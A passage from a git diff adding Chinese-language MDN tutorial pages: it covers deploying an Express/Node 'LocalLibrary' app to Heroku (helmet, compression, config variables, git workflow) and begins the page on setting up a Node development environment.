href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">PWS/Cloud Foundry </a>上安装LocalLibrary。</p> + +<h2 id="什么是生产环境?">什么是生产环境?</h2> + +<p>生产环境是服务器计算机提供的环境,您可以在其中运行网站,以供外部使用。环境包括:</p> + +<ul> + <li>网站运行的计算机硬件。</li> + <li>操作系统(例如Linux或Windows)。</li> + <li>编程语言运行库和框架库,在其上编写您的网站。</li> + <li>Web 服务器基础结构,可能包含Web服务器,反向代理,负载平衡器等。</li> + <li>您的网站所依赖的数据库。</li> +</ul> + +<p>服务器计算机,可以位于您的场所,并通过快速链接,连接到 Internet,但使用 “托管在云上” 的计算机更为常见。这实际上意味着,您的代码运行在托管公司的数据中心的某台远程计算机(或可能是“虚拟”计算机)。远程服务器,通常会以特定价格提供互联网连接,和一些保证级别的计算资源(例如CPU,RAM,存储器等)。</p> + +<p>这种可远程访问的计算/网络硬件,称为基础架构即服务(IaaS)。许多IaaS 供应商,提供预安装特定操作系统的选项,您必须在其上,安装生产环境的其他组件。其他供应商,允许您选择功能更全面的环境,可能包括完整的 node 设置。</p> + +<div class="note"> +<p><strong>注意:</strong> 预构建环境,可以使您的网站设置变得非常简单,因为它们会减少配置,但可用选项可能会限制您使用不熟悉的服务器(或其他组件),并且可能基于较旧版本的操作系统。通常最好自己安装组件,以便获得所需的组件,并且当您需要升级系统的某些部分时,您可以知道从哪里开始!</p> +</div> + +<p>其他托管服务提供商,支持 Express 作为平台即服务(PaaS)产品的一部分。使用此类托管时,您无需担心大多数生产环境(服务器,负载平衡器等),因为主机平台会为您处理这些问题。这使得部署非常简单,因为您只需要专注于 Web 应用程序,而不是任何其他服务器基础结构。</p> + +<p>一些开发人员选择 IaaS ,相对于 PaaS ,IaaS 提供更高灵活性,而其他开发人员偏好 PaaS 的降低维护开销,和更轻松的扩展性。当您在一开始使用时,在 PaaS 系统上设置您的网站,要容易得多,因此我们将在本教程中使用 PaaS。</p> + +<div class="note"> +<p><strong>提示:</strong> 如果您选择Node/Express友好的托管服务提供商,他们应该提供,有关如何使用Web服务器,应用程序服务器,反向代理等不同配置,来设置 Express 网站的说明。例如,在<a href="https://www.digitalocean.com/community/tutorials?q=node">数字海洋node社区文档</a>中,有许多各种配置的手把手指南。</p> +</div> + +<h2 id="选择一个主机供应商">选择一个主机供应商</h2> + +<p>众所周知,众多托管服务提供商,都积极支持或与Node(和Express)合作。这些供应商提供不同类型的环境(IaaS,PaaS),以及不同价格的不同级别的计算和网络资源。</p> + +<div class="note"> +<p><strong>提示:</strong> 有很多托管解决方案,他们的服务和定价,可能会随着时间而改变。虽然我们在下面介绍几个选项,但在选择托管服务提供商之前,有必要自己进行互联网搜索。</p> +</div> + +<p>选择主机时需要考虑的一些事项:</p> + +<ul> + <li>您的网站可能有多忙,以及满足该需求所需的数据,和计算资源的成本。</li> + <li>水平扩展(添加更多机器)和垂直扩展(升级到更强大的机器)的支持级别,以及这样做的成本。</li> + <li>供应商有数据中心的地方,因此访问可能是最快的。</li> + <li>主机正常运行时间和停机时间的历史表现。</li> + <li>用于管理站点的工具 - 易于使用且安全(例如 SFTP 与 FTP)。</li> + <li>用于监控服务器的内置框架。</li> + <li>已知限制。有些主机会故意阻止某些服务(例如电子邮件)。其他在某些价格层中,仅提供一定数小时的 “实时时间”,或者仅提供少量存储空间。</li> + <li>额外的好处。一些提供商将提供免费域名和SSL证书支持,否则您将不得不为此另外支付费用。</li> + <li>您所依赖的“免费”等级,是否会随着时间的推移而过期,以及迁移到更昂贵等级的成本,是否意味着您最好在一开始就使用其他服务!</li> +</ul> + +<p>当你刚开始时,好消息是有很多网站提供“免费”的计算环境,尽管有一些条件。例如, <a href="https://www.heroku.com/">Heroku </a>“永远” 提供免费但资源有限的PaaS 环境,而 <a href="http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-free-tier.html">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us/pricing/details/app-service/">Microsoft Azure </a>和开源选项 <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">PWS/Cloud Foundry </a>在您第一次加入时,提供免费信用额度。</p> + +<p>许多提供商还拥有“基本”层,可提供更多有用的计算能力,和更少的限制。举例来说, <a href="https://www.digitalocean.com/">Digital Ocean</a> 是一个流行的托管服务提供商,它提供了一个相对便宜的基本计算层(在本教程写作时,是每月5美元的较低范围)。</p> + +<div class="note"> +<p><strong>注意:</strong> 请记住,价格不是唯一的选择标准。如果您的网站成功,可能会发现可扩展性是最重要的考虑因素。</p> +</div> + +<h2 id="准备好发布你的网站">准备好发布你的网站</h2> + +<p>发布网站时,要考虑的主要问题是网络安全性和性能。至少,您需要删除开发期间,错误页面上包含的堆栈跟踪,整理日志记录,并设置适当的标头,以避免许多常见的安全威胁。</p> + +<p>在以下小节中,我们概述了您应该对应用进行的、最重要的更改。</p> + +<div class="note"> +<p><strong>提示:</strong> Express文档中还有其他有用的提示 - 请参阅“<a href="https://expressjs.com/en/advanced/best-practice-performance.html">生产最佳实践:性能和可靠性</a>”,以及“<a href="https://expressjs.com/en/advanced/best-practice-security.html">生产最佳实践:安全性</a>”。</p> +</div> + +<h3 id="设置_NODE_ENV_为_'production'">设置 NODE_ENV 为 'production'</h3> + +<p>我们可以通过将 <code>NODE_ENV</code> 环境变量,设置为 production ,来删除错误页面中的堆栈跟踪(默认设置为 “development” )。除了生成较为不详细的错误消息之外,还要将变量设置为生产缓存视图模板,和从CSS扩展生成的CSS文件。测试表明,将<code>NODE_ENV</code>设置为生产,可以将应用程序性能提高三倍!</p> + +<p>可以使用导出或环境文件,或使用OS初始化系统,以进行此更改。</p> + +<div class="note"> +<p><strong>注意:</strong> 这实际上是在环境设置,而不是应用中所做的更改,但重要的是,要注意这里!我们将在下面,展示如何为我们的托管示例设置。</p> +</div> + +<h3 id="Log_appropriately">Log appropriately</h3> + +<p>记录呼叫会对高流量网站产生影响。在生产环境中,您可能需要记录网站活动(例如,跟踪流量,或记录API调用),但您应尝试最小化为调试目的而添加的日志记录量。</p> + +<p>在生产环境中,最小化“调试”日志记录的一种方法,是使用类似<a href="https://www.npmjs.com/package/debug">调试debug </a>的模块,允许您通过设置环境变量,来控制执行的日志记录。例如,下面的代码片段,显示了如何设置“author”日志记录。调试变量使用名称“author”声明,并且将自动显示,来自此对象的所有日志的前缀“author”。</p> + +<pre class="brush: js"><strong>var debug = require('debug')('author');</strong> + +// Display Author update form on GET +exports.author_update_get = function(req, res, next) { + + req.sanitize('id').escape().trim(); + Author.findById(req.params.id, function(err, author) { + if (err) { +<strong> debug('update error:' + err);</strong> + return next(err); + } + //On success + res.render('author_form', { title: 'Update Author', author: author }); + }); + +};</pre> + +<p>然后,您可以通过在<code>DEBUG</code>环境变量中,将它们指定为逗号分隔列表,来启用特定日志集。您可以设置显示作者和书籍日志的变量,如图所示(也支持通配符)。</p> + +<pre class="brush: bash">#Windows +set DEBUG=author,book + +#Linux +export DEBUG="author,book" +</pre> + +<div class="note"> +<p><strong>挑战:</strong> 调用<code>debug</code>可以替换您以前使用<code>console.log()</code>或<code>console.error()</code>执行的日志记录。通过调试模块<a href="https://www.npmjs.com/package/debug">debug</a>进行日志记录,替换代码中的所有<code>console.log()</code>调用。通过设置 DEBUG 变量,并在其中记录对日志记录的影响,在开发环境中,打开和关闭日志记录。</p> +</div> + +<p>如果您需要记录网站活动,可以使用 Winston 或 Bunyan 等日志库。有关此主题的更多信息,请参阅:<a href="https://expressjs.com/en/advanced/best-practice-performance.html">生产最佳实践:性能和可靠性</a>。</p> + +<h3 id="使用_gzipdeflate_压缩响应文件">使用 gzip/deflate 压缩响应文件</h3> + +<p>Web服务器,通常可以压缩发送回客户端的 HTTP 响应,从而显着减少客户端获取和加载页面所需的时间。使用的压缩方法,取决于客户端在请求中支持的解压缩方法(如果不支持压缩方法,则响应将以未压缩的方式发送)。</p> + +<p>您可以使用压缩中间件 <a href="https://www.npmjs.com/package/compression">compression</a>,将其添加到您的站点。通过在项目的根目录下,运行以下命令,将其安装到项目中。</p> + +<pre class="brush: bash">npm install compression</pre> + +<p>打开<strong>./app.js</strong>,并导入压缩库,如图所示。使用<code>use()</code>方法,将压缩库添加到中间件链(这应该出现在您想要压缩的任何路由之前 - 在本教程这种情况下,全部都是!)</p> + +<pre class="brush: js">var catalogRouter = require('./routes/catalog'); //Import routes for "catalog" area of site +<strong>var compression = require('compression');</strong> + +// Create the Express application object +var app = express(); + +... + +<strong>app.use(compression()); //Compress all routes</strong> + +app.use(express.static(path.join(__dirname, 'public'))); + +app.use('/', indexRouter); +app.use('/users', usersRouter); +app.use('/catalog', catalogRouter); // Add catalog routes to middleware chain. + +... +</pre> + +<div class="note"> +<p><strong>注意</strong>: 对于生产中流量较大的网站,您不会使用此中间件。相反,你会使用像 Nginx 这样的反向代理。</p> +</div> + +<h3 id="使用_Helmet_避免被常见漏洞侵袭">使用 Helmet 避免被常见漏洞侵袭</h3> + +<p><a href="https://www.npmjs.com/package/helmet">Helmet</a> 是一个中间件包,可以通过设置适当的 HTTP 标头,来帮助保护您的应用,免受一些众所周知的 Web 漏洞的影响(有关它设置的标头/防护漏洞的详细信息,请参阅<a href="https://helmetjs.github.io/docs/">文档</a>)。</p> + +<p>通过在项目的根目录下,运行以下命令,将其安装到项目中。</p> + +<pre class="brush: bash">npm install helmet +</pre> + +<p>打开<strong>./app.js</strong>,并导入如图所示的<em> helmet</em> 库。然后使用<code>use()</code>方法将模块添加到中间件链。</p> + +<pre class="brush: js">var compression = require('compression'); +<strong>var helmet = require('helmet'); +</strong> +// Create the Express application object +var app = express(); + +<strong>app.use(helmet())</strong>; +...</pre> + +<div class="note"> +<p id="production-best-practices-performance-and-reliability"><strong>注意:</strong> 上面的命令,添加了对大多数站点有意义的可用标头子集。您可以按照<a href="https://www.npmjs.com/package/helmet">npm</a>上的说明,根据需要添加/禁用特定标头。</p> +</div> + +<h2 id="例子:在_Heroku_上安装一个本地图书馆">例子:在 Heroku 上安装一个本地图书馆</h2> + +<p>本节提供了如何在<a href="http://heroku.com">Heroku PaaS cloud</a>云上安装LocalLibrary的实际演示。</p> + +<h3 id="为什么选择_Heroku">为什么选择 Heroku?</h3> + +<p>Heroku 是运行时间最长,且最受欢迎的基于云的 PaaS 服务之一。它最初只支持 Ruby 应用程序,但现在可用于托管来自许多编程环境的应用程序,包括Node(以及Express)!</p> + +<p>我们选择使用 Heroku 有以下几个原因: </p> + +<ul> + <li>Heroku 有一个<a href="https://www.heroku.com/pricing">免费套餐</a>(尽管有一些限制)。</li> + <li>作为PaaS,Heroku为我们提供了大量的 Web 基础架构。这使得入门更加容易,因为您不必担心服务器,负载平衡器,反向代理,崩溃时重新启动网站,或者 Heroku 为我们提供的任何其他 Web 基础结构。</li> + <li>虽然它确实有一些限制,但这些不会影响这个特定的应用程序。例如: + <ul> + <li>Heroku只提供短期存储,因此用户上传的文件无法安全地存储在Heroku本身。</li> + <li>如果半小时内没有请求,免费套餐将使不活动的网络应用程序进入睡眠。然后,该网站可能需要几秒钟才能被唤醒。</li> + <li>免费套餐将您网站运行的时间,限制为每月一定的小时数(不包括网站“睡着”的时间)。这对于低使用/演示站点来说很好,但如果需要100%的正常运行时间,则不适用。</li> + <li><a href="https://devcenter.heroku.com/articles/limits">Heroku 官方文档</a>中列出的其他限制。</li> + </ul> + </li> + <li>大多数情况下它只是可以工作,如果你最终喜欢它,并希望升级,那么扩展你的应用程序非常容易。</li> +</ul> + +<p>虽然 Heroku 非常适合举办此演示,但它可能并不适合您的真实网站。 Heroku可以轻松设置和扩展,但代价是灵活性较低,而且一旦退出免费套餐,可能会花费更多。</p> + +<h3 id="Heroku_如何工作?"> Heroku 如何工作?</h3> + +<p>Heroku在一个或多个“<a href="https://devcenter.heroku.com/articles/dynos">Dynos</a>”中运行网站,这些“Dynos”是独立的虚拟化Unix容器,提供运行应用程序所需的环境。 Dynos 是完全隔离的,并且有一个短暂的文件系统(一个短暂的文件系统,每次dyno重新启动时都会清理/清空)。 dynos 默认共享的唯一内容,是应用程序<a href="https://devcenter.heroku.com/articles/config-vars">配置变量</a>。 Heroku内部使用负载均衡器,将Web流量分配给所有“web”dynos。由于它们之间没有任何共享,Heroku可以通过添加更多dynos,来水平扩展应用程序(当然,您可能还需要扩展数据库,以接受其他连接)。</p> + +<p>由于文件系统是短暂的,因此无法直接安装应用程序所需的服务(例如数据库,队列,缓存系统,存储,电子邮件服务等)。相反,Heroku Web应用程序使用 Heroku 或第三方作为独立“附加组件”提供的支持服务。连接到Web应用程序后,可以通过环境变量,在Web应用程序中访问附加服务。</p> + +<p>为了执行您的应用程序,Heroku需要能够设置适当的环境和依赖关系,并了解它是如何启动的。对于Node应用程序,它所需的所有信息都是从<strong>package.json</strong>文件中获取的。</p> + +<p>开发人员使用特殊的客户端应用程序/终端,与Heroku交互,这很像Unix bash脚本。这允许您上传存储在git存储库中的代码,检查正在运行的进程,查看日志,设置配置变量等等!</p> + +<p>为了让我们的应用程序在Heroku上工作,我们需要将我们的Express Web应用程序放入git存储库,并对 package.json 进行一些小的更改。完成后,我们可以设置Heroku帐户,获取Heroku客户端,并使用它来安装我们的网站。</p> + +<p>这是您开始教程所需的全部概述(有关更全面的指南,请参阅<a href="https://devcenter.heroku.com/articles/getting-started-with-nodejs">带有Node.js的Heroku入门</a>)。</p> + +<h3 id="在_Github_上创建一个应用仓库">在 Github 上创建一个应用仓库</h3> + +<p>Heroku 与 <strong>git </strong>源代码版本控制系统紧密集成,使用它来上传/同步您对实时运行系统所做的任何更改。它通过添加一个名为 heroku 的新 Heroku“远程”存储库,来指向您在Heroku云上的源存储库。在开发期间,您使用 git 在“主”存储库 master 中存储更改。如果要部署站点,请将更改同步到 Heroku 存储库。</p> + +<div class="note"> +<p><strong>注意:</strong> 如果您习惯于遵循良好的软件开发实践,那么您可能已经在使用git或其他一些SCM系统。如果您已有git存储库,则可以跳过此步骤。</p> +</div> + +<p>有很多方法可以使用git,但最简单的方法之一,是首先在<a href="https://github.com/">GitHub</a>上建立一个帐户,在那里创建存储库,然后在本地同步它:</p> + +<ol> + <li>访问 <a href="https://github.com/">https://github.com/</a> 并创建一个帐户。</li> + <li>登录后,单击顶部工具栏中的<strong> +</strong> 号链接,然后选择新建存储库<strong>New repository</strong>。</li> + <li>填写此表单上的所有字段。虽然这些不是强制性的,但强烈建议使用它们。 + <ul> + <li>输入新的存储库名称(例如,express-locallibrary-tutorial)和描述(例如 “以Express(node)编写的本地图书馆网站”)。</li> + <li>在 Add .gitignore 选择列表中选择 <strong>Node</strong>。</li> + <li>在添加许可证 <em>Add license</em> 选择列表中,选择您偏好的许可证。</li> + <li>点选 <strong>使用自述文件初始化此存储库 </strong>“<strong>Initialize this repository with a README</strong>”</li> + </ul> + </li> + <li>按 <strong>Create repository</strong>.</li> + <li>单击新仓库页面上的绿色“克隆或下载”按钮 "<strong>Clone or download</strong>"。</li> + <li>从显示的对话框的文本字段,复制URL值(它应该类似于:<strong>https://github.com/<em><your_git_user_id></em>/express-locallibrary-tutorial.git</strong>)。</li> +</ol> + +<p>现在创建了存储库(“repo”),我们将要在本地计算机上克隆它:</p> + +<ol> + <li>为您的本地计算机安装git(您可以在<a href="https://git-scm.com/downloads">此处</a>找到不同平台的版本)。</li> + <li>打开命令提示符/终端,并使用您在上面复制的 URL ,克隆clone存储库: + <pre class="brush: bash">git clone https://github.com/<strong><em><your_git_user_id></em></strong>/express-locallibrary-tutorial.git +</pre> + 这将在当前时间点之后,创建存储库。</li> + <li>到新的仓库。 + <pre class="brush: bash">cd express-locallibrary-tutorial</pre> + </li> +</ol> + +<p>最后一步,是复制你的应用程序,然后使用 git ,将文件添加到你的仓库:</p> + +<ol> + <li>将Express应用程序,复制到此文件夹中(不包括<strong>/node_modules</strong>,其中包含您应根据需要,从NPM获取的依赖项文件)。</li> + <li>打开命令提示符/终端,并使用<code>add</code>命令,将所有文件添加到 git。</li> + <li> + <pre class="brush: bash">git add -A +</pre> + </li> + <li>使用 status 命令,检查要添加的所有文件是否正确(您希望包含源文件,而不是二进制文件,临时文件等)。它应该看起来有点像下面的列表。 + <pre>> git status +On branch master +Your branch is up-to-date with 'origin/master'. +Changes to be committed: + (use "git reset HEAD <file>..." to unstage) + + new file: ...</pre> + </li> + <li>如果您满意,请将文件提交到本地存储库: + <pre class="brush: bash">git commit -m "First version of application moved into github"</pre> + </li> + <li>然后使用以下内容,将本地存储库同步到Github网站: + <pre>git push origin master</pre> + </li> +</ol> + +<p>完成此操作后,您应该可以返回创建存储库的Github上的页面,刷新页面,并查看您的整个应用程序现已上传。使用此添加/提交/推送循环,您可以在文件更改时,继续更新存储库。</p> + +<div class="note"> +<p><strong>提示:</strong> 这是备份你的“vanilla”项目的好时机 - 虽然我们将在以下部分中进行的一些更改,可能对任何平台(或开发)上的部署有用,而一些其他的更改可能没有用。</p> + +<p>执行此操作的最佳方法,是使用git来管理您的修订。使用git,您不仅可以回到特定的旧版本,而且可以在生产变更的单独“分支”中进行维护,并选择在生产和开发分支之间移动的任何更改。<a href="https://help.github.com/articles/good-resources-for-learning-git-and-github/">学习Git</a>非常值得,但超出了本主题的范围。</p> + +<p>最简单的方法,是将文件复制到另一个位置。使用最符合您对 git 了解的方法!</p> +</div> + +<h3 id="更新Heroku的应用程序">更新Heroku的应用程序</h3> + +<p>本节介绍了您需要对 LocalLibrary 应用程序进行的更改,以使其在Heroku上运行。</p> + +<h4 id="设置_node_版本">设置 node 版本</h4> + +<p><strong>package.json</strong>包含解决应用程序依赖项所需的所有内容,以及启动站点时,应启动的文件。 Heroku检测到此文件的存在,并将使用它来配置您的应用程序环境。</p> + +<p>我们当前的<strong>package.json</strong>中,缺少的唯一有用信息,是 node 的版本。我们可以通过输入命令,找到我们用于开发的 node 版本:</p> + +<pre class="brush: bash">>node --version +v8.9.1</pre> + +<p>打开<strong>package.json</strong>,并将此信息添加为<strong>engines > node</strong> 部分,如图所示(使用系统的版本号)。</p> + +<pre class="brush: json">{ + "name": "express-locallibrary-tutorial", + "version": "0.0.0", +<strong> "engines": { + "node": "8.9.1" + },</strong> + "private": true, + ... +</pre> + +<h4 id="数据库配置">数据库配置</h4> + +<p>到目前为止,在本教程中,我们使用了一个硬编码到<strong>app.js</strong>的单个数据库。通常我们希望,能够为生产和开发创建不同的数据库,接下来我们将修改 LocalLibrary 网站,以从OS环境获取数据库URI(如果已定义),否则使用我们的开发数据库。</p> + +<p>打开<strong>app.js</strong>,并找到设置mongoDB连接变量的行。它看起来像这样:</p> + +<pre class="brush: js">var mongoDB = 'mongodb://your_user_id:your_password@ds119748.mlab.com:19748/local_library';</pre> + +<p>使用以下代码替换该行,该代码使用<code>process.env.MONGODB_URI</code>从名为<code>MONGODB_URI</code>的环境变量中,获取连接字符串(如果已设置)(使用您自己的数据库URL,而不是下面的占位符。)</p> + +<pre class="brush: js">var mongoDB = <strong>process.env.MONGODB_URI</strong> || 'mongodb://your_user_id:your_password@ds119748.mlab.com:19748/local_library'; +</pre> + +<h4 id="安装依赖并重新测试">安装依赖并重新测试</h4> + +<p>在我们继续之前,让我们再次测试该网站,并确保它不受我们的任何更改的影响。</p> + +<p>首先,我们需要获取我们的依赖项(你会记得,我们没有将 <strong>node_modules</strong>文件夹,复制到我们的 git 树中)。您可以通过在项目根目录的终端中,运行以下命令来执行此操作:</p> + +<pre class="brush: bash">npm install +</pre> + +<p>现在运行该站点(请参阅<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes#Testing_the_routes">测试路由</a>的相关命令),并检查该站点,是否仍按预期运行。</p> + +<h4 id="将更改保存到_Github">将更改保存到 Github</h4> + +<p>接下来,让我们将所有更改保存到 Github。在终端中(在我们的存储库中),输入以下命令:</p> + +<pre class="brush: bash">git add -A +git commit -m "Added files and changes required for deployment to heroku" +git push origin master</pre> + +<p>我们现在应该准备开始在 Heroku 上,部署 LocalLibrary。</p> + +<h3 id="获取一个_Heroku_账户">获取一个 Heroku 账户</h3> + +<p>要开始使用Heroku,您首先需要创建一个帐户(如果您已经拥有一个帐户,并安装了Heroku客户端,请跳过创建并上传网站):</p> + +<ul> + <li>访问 <a href="https://www.heroku.com/">www.heroku.com</a> ,并单击免费注册按钮 <strong>SIGN UP FOR FREE</strong> 。</li> + <li>输入您的详细信息,然后按<strong>CREATE FREE ACCOUNT</strong>。系统会要求您,检查帐户中是否有注册电子邮件。</li> + <li>单击注册电子邮件中的帐户激活链接。您将在网络浏览器上收回您的帐户。</li> + <li>输入您的密码,然后单击 <strong>SET PASSWORD AND LOGIN</strong>.</li> + <li>然后,您将登录并进入Heroku仪表板:<a href="https://dashboard.heroku.com/apps">https://dashboard.heroku.com/apps</a>.</li> +</ul> + +<h3 id="安装客户端">安装客户端</h3> + +<p>按照 <a href="https://devcenter.heroku.com/articles/getting-started-with-python#set-up">Heroku上的说明</a>,下载并安装Heroku客户端。</p> + +<p>安装客户端后,您将能够运行命令。例如,要获得客户端的帮助说明:</p> + +<pre class="brush: bash">heroku help +</pre> + +<h3 id="创建并上传网站">创建并上传网站</h3> + +<p>要创建应用程序,我们在存储库的根目录中,运行“create”命令。这将在我们的本地git环境中,创建一个名为 heroku 的 git remote(“指向远程存储库的指针”)。</p> + +<pre class="brush: bash">heroku create</pre> + +<div class="note"> +<p><strong>注意:</strong> 如果您愿意,可以在“创建”create 之后指定远程存储库的命名。如果你不这样做,你会得到一个随机的名字。该名称用于默认URL。</p> +</div> + +<p>然后,我们可以将我们的应用程序,推送到Heroku存储库,如下所示。这将上传应用程序,获取所有依赖项,将其打包到dyno中,然后启动该站点。</p> + +<pre class="brush: bash">git push heroku master</pre> + +<p>如果我们很幸运,该应用程序现在正在网站上“运行”。要打开浏览器并运行新网站,请使用以下命令:</p> + +<pre class="brush: bash">heroku open</pre> + +<div class="note"> +<p><strong>注意</strong>: 该站点将使用我们的开发数据库运行。创建一些书本和其他对象,并检查该网站是否按预期运行。在下一节中,我们将其设置为使用我们的新数据库。</p> +</div> + +<h3 id="设定配置变量">设定配置变量</h3> + +<p>您将从前一节回忆起,我们需要将NODE_ENV设置为'production',以便提高性能,并生成更简洁的错误消息。我们通过输入以下命令,来完成此操作:</p> + +<pre class="brush: bash">>heroku config:set NODE_ENV='production' +Setting NODE_ENV and restarting limitless-tor-18923... done, v13 +NODE_ENV: production +</pre> + +<p>我们还应该使用单独的数据库进行生产,在<strong>MONGODB_URI</strong>环境变量中,设置其URI。您可以完全按照<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/mongoose#Setting_up_the_MongoDB_database">我们原来的方式</a>,设置新数据库和数据库用户,并获取其URI。您可以如下图所示设置URI(显然,要使用您自己的URI!)</p> + +<pre class="brush: bash">>heroku config:set <strong>MONGODB_URI</strong>='mongodb://your_user:your_password@ds139278.mlab.com:39278/local_library_production' +Setting MONGODB_URI and restarting limitless-tor-18923... done, v13 +MONGODB_URI: mongodb://your_user:your_password@ds139278.mlab.com:39278/local_library_production +</pre> + +<p>您可以使用<code>heroku config</code>命令,随时检查配置变量 - 立即尝试:</p> + +<pre class="brush: bash">>heroku config +=== limitless-tor-18923 Config Vars +MONGODB_URI: mongodb://your_user:your_password@ds139278.mlab.com:39278/local_library_production +NODE_ENV: production +</pre> + +<p>Heroku会在更新变量时,重新启动应用程序。如果您现在检查主页,它应该显示对象计数的零值,因为上面的更改,意味着我们现在正在使用新的(空)数据库。</p> + +<h3 id="管理附加组件">管理附加组件</h3> + +<p>Heroku 使用独立的附加组件,为应用程序提供支持服务 - 例如电子邮件或数据库服务。我们不在本网站中使用任何插件,但它们是使用Heroku的重要部分,因此您可能需要查看主题<a href="https://devcenter.heroku.com/articles/managing-add-ons">管理插件</a>(Heroku docs)。</p> + +<h3 id="调试">调试</h3> + +<p>Heroku客户端提供了一些调试工具:</p> + +<pre class="brush: bash">heroku logs # Show current logs +heroku logs --tail # Show current logs and keep updating with any new results +heroku ps #Display dyno status +</pre> + +<ul> +</ul> + +<h2 id="总结">总结</h2> + +<p>本教程介绍在生产环境中,如何配置Express 应用。是Express系列教程的最后一个。我们希望你觉得这些教程有用。你可以在<a href="https://github.com/mdn/express-locallibrary-tutorial">Github上取得完整的源码</a>。</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li id="production-best-practices-performance-and-reliability"><a href="https://expressjs.com/en/advanced/best-practice-performance.html">Production best practices: performance and reliability</a> (Express docs)</li> + <li><a href="https://expressjs.com/en/advanced/best-practice-security.html">Production Best Practices: Security</a> (Express docs)</li> + <li>Heroku + <ul> + <li><a href="https://devcenter.heroku.com/articles/getting-started-with-nodejs">Getting Started on Heroku with Node.js</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/deploying-nodejs">Deploying Node.js Applications on Heroku</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/nodejs-support">Heroku Node.js Support</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/node-concurrency">Optimizing Node.js Application Concurrency</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/how-heroku-works">How Heroku works</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/dynos">Dynos and the Dyno Manager</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/config-vars">Configuration and Config Vars</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Heroku docs)</li> + </ul> + </li> + <li>Digital Ocean + <ul> + <li><a href="https://www.digitalocean.com/community/tutorials?q=express">Express</a> tutorials</li> + <li><a href="https://www.digitalocean.com/community/tutorials?q=node.js">Node.js</a> tutorials </li> + </ul> + </li> +</ul> + +<p>{{PreviousMenu("Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</p> + +<p> </p> + +<h2 id="本教程链接">本教程链接</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node 介绍</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">架设 Node (Express) 开发环境</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express 教程: 本地图书馆网站</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express 教程 2: 创建骨架网站</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express 教程 3: 使用数据库 (Mongoose)</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express 教程 4: 路由与控制器</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6: 使用表单</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express 教程 7: 部署到生产环境</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/server-side/express_nodejs/development_environment/index.html b/files/zh-cn/learn/server-side/express_nodejs/development_environment/index.html new file mode 100644 index 0000000000..9a5e9ac7de --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/development_environment/index.html @@ -0,0 +1,390 @@ +--- +title: 设置 Node 开发环境 +slug: learn/Server-side/Express_Nodejs/development_environment +tags: + - Express + - Node + - node.js + - npm + - 初学者 + - 学习 + - 开发环境 + - 服务器端 +translation_of: Learn/Server-side/Express_Nodejs/development_environment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">你已经了解了 Express 的用途,接下来将在 Windows、Linux(Ubuntu)和 Mac OS X 下搭建 Node/Express 开发环境。本节将介绍主流操作系统下开发 Express 程序的必备知识。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>会打开终端 / 命令行。会为开发用操作系统安装软件包。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>在电脑上搭建 Express 开发环境。</td> + </tr> + </tbody> +</table> + +<h2 id="Express_开发环境概述">Express 开发环境概述</h2> + +<p>使用 Node 和 Express 搭建 web 应用程序开发环境非常简便。这一章节将简述所需的工具,在主流操作系统(Ubuntu、macOS 和 Windows)上安装 Node 的步骤,以及测试安装是否成功的方法。</p> + +<h3 id="什么是_Express_开发环境?">什么是 Express 开发环境?</h3> + +<p>完整的 Express 本地开发环境包括 Nodejs、NPM 包管理器和 <strong>Express 应用生成器</strong>(可选)。</p> + +<p>Node 和 NPM 包管理器可以用二进制包、安装程序或系统包管理器一并安装(下文将介绍)。然后在开发每个 Express web 应用时,由 NPM 针对当前应用将 Express(以及模板引擎、数据库驱动程序、身份验证中间件、静态文件托管中间件等其它库)作为依赖项进行安装。</p> + +<p>NPM 也可以安装(全局的)<strong>Express 应用生成器</strong>,可用于创建遵循 <a href="/zh-CN/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">MVC模式</a> 的 Express 应用框架。它不是必备的,因为无需这个工具就可以创建 Express 应用(或相同架构布局或依赖的 Express 应用)。但我们还是会使用它,因为它更容易上手,还有助于应用结构的模块化管理。</p> + +<div class="note"> +<p><strong>注:</strong> 与某些其他Web框架不同,开发环境不包含单独的开发Web服务器。在Node / Express中,Web应用程序将创建并运行自己的Web服务器!</p> +</div> + +<p>典型的开发环境中还需要一些外围工具,包括用于编写代码的 <a href="zh-CN/docs/Learn/Common_questions/实用文本编辑器">文本编辑器</a> 或 IDE ,用于代码控制管理的工具(比如代码版本控制工具 